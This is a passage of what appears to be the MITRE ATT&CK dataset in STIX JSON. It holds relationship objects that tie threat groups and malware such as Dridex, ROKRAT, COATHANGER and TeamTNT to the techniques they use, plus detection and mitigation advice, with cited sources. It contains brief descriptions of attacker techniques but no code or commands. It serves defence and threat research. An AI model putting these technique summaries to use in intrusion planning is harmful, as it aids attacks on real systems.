2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f30b61e-a97a-415b-a903-0169f4c00d72","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f357194-57f9-463f-a8f4-6f997d3fc488","created":"2024-03-15T18:02:17.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-01T16:25:11.166Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) will set the GID of `httpsd` to 90 when infected.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f376a6a-a5ca-4e06-93c5-87d9a76a59ac","created":"2024-09-25T18:31:36.578Z","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:31:36.578Z","description":"(Citation: CISA Play Ransomware Advisory December 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f38eb77-da3f-4a35-b048-32a4fa6c6fbc","type":"relationship","created":"2020-05-26T19:31:59.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-26T19:31:59.257Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has used the RoyalRoad exploit builder to drop a second stage loader, intel.wll, into the Word Startup folder on the compromised host.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f3b9887-80cb-4b36-b228-91e360d83962","type":"relationship","created":"2020-03-20T00:16:34.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Group123","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"}],"modified":"2022-03-22T17:21:33.407Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can steal credentials by leveraging the Windows Vault mechanism.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f3caebf-2c07-45de-b2f3-622dc8fcf59e","type":"relationship","created":"2021-03-29T16:51:26.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T13:14:59.064Z","description":"Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f3dd93e-6682-490f-bd56-9bc25c489d25","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f448f20-0349-4132-80ec-d46e94d52426","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-20T15:50:54.783Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can create a remote shell and run a given command.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f54be53-193e-49c0-aa8e-2b24caf436fd","type":"relationship","created":"2021-12-06T16:10:28.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T16:10:28.335Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has collected data from local victim systems.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f57b4eb-ba87-4755-9b96-3715e1da1de1","type":"relationship","created":"2020-03-19T17:35:11.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Sep 2017","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019."},{"source_name":"Proofpoint TA505 June 2018","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times","description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019."}],"modified":"2020-06-23T20:39:02.965Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used JavaScript for code execution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f5973be-3c51-4bd1-b652-f12903caa3e2","type":"relationship","created":"2019-01-30T19:50:46.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.541Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) uses Base64 encoding for strings.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f5aaa40-a294-4b8f-8bd3-0f34ce8a0612","type":"relationship","created":"2020-03-09T14:15:05.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-26T22:34:43.343Z","description":"Use application control where appropriate.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f5b07b1-6848-48ce-9a33-f5418e2195be","type":"relationship","created":"2021-10-01T01:57:31.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer TeamTNT September 2020","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/","description":"Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021."},{"source_name":"Aqua TeamTNT August 2020","url":"https://blog.aquasec.com/container-security-tnt-container-attack","description":"Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.885Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has deployed privileged containers that mount the filesystem of victim machine.(Citation: Intezer TeamTNT September 2020)(Citation: Aqua TeamTNT August 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f64c3b9-7882-4bcf-9ff2-3dcce03cf632","type":"relationship","created":"2021-03-31T15:35:34.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-03-31T15:35:34.079Z","description":"[Exaramel for Linux](https://attack.mitre.org/software/S0401) can decrypt its configuration file.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f6803c2-ab49-4c74-b0fe-262276e85d3e","created":"2023-09-12T18:51:31.737Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T18:51:31.737Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used PowerShell to download files and to inject into various Windows processes.(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f6b8a04-916e-4f33-8837-ff48e00e771b","type":"relationship","created":"2019-01-30T17:33:41.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"}],"modified":"2019-06-28T15:30:58.543Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can capture screenshots of the victim’s machine.(Citation: Securelist MuddyWater Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f6d6ccc-ac71-42b6-ab14-d02914d05717","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2019-05-10T12:14:32.226Z","description":"(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"malware--e170995d-4f61-4f17-b60e-04f9a06ee517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f6fe3e5-c2e6-4296-86f8-bac5e993301b","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f757d38-9e79-4a04-9ed8-972ed69e3a63","created":"2024-08-05T21:44:37.565Z","revoked":false,"external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T21:44:37.565Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has created local accounts named `help` and `DefaultAccount` on compromised machines.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6f75a833-d53e-41bb-942b-cef4f3f076c3","created":"2022-04-20T21:06:07.562Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-04-20T21:06:07.562Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a","target_ref":"attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f75cf7f-1c21-4c22-983b-fac20ea85101","type":"relationship","created":"2020-03-19T22:10:50.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Oceanlotus May 2017","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2020-03-19T22:10:50.463Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used GetPassword_x64 to harvest credentials.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f7a4f3f-44ee-491f-be50-caa928214111","type":"relationship","created":"2021-10-15T20:15:41.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T20:15:41.488Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f7ee9ba-fb3d-4f22-a78a-8003da718ec4","type":"relationship","created":"2019-05-31T13:57:57.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Dridex Oct 2015","url":"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019."},{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-09-07T20:58:44.534Z","description":"[Dridex](https://attack.mitre.org/software/S0384) contains a backconnect module for tunneling network traffic through a victim's computer. Infected computers become part of a P2P botnet that can relay C2 traffic to other infected peers.(Citation: Dell Dridex Oct 2015)(Citation: Checkpoint Dridex Jan 2021) ","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6f82c79c-ef15-4625-b2cf-433e2b600f1e","created":"2024-09-25T20:04:21.942Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:04:21.942Z","description":"(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f82d8a7-d168-4e19-97d2-3950f0c649ce","type":"relationship","created":"2020-05-12T22:05:50.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-05-15T15:36:36.961Z","relationship_type":"uses","source_ref":"intrusion-set--88489675-d216-4884-a98f-49a89fcc1643","target_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f884bda-0c39-4d3b-97e3-29ae9099fa45","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2020-03-28T00:30:55.434Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used appcmd.exe to disable logging on a victim server.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f8cef32-d057-40f8-be52-62d86b1049e6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Seaduke 2015","description":"Symantec Security Response. (2015, July 13). “Forkmeiamfamous”: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.","url":"http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}],"modified":"2020-03-17T02:32:28.037Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) can securely delete files, including deleting itself from the victim.(Citation: Symantec Seaduke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f8d9c8d-750d-40c2-9722-c000b1efda13","type":"relationship","created":"2021-04-13T20:27:51.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:06:51.562Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used a customized [PlugX](https://attack.mitre.org/software/S0013) variant which could exfiltrate documents from air-gapped networks.(Citation: Avira Mustang Panda January 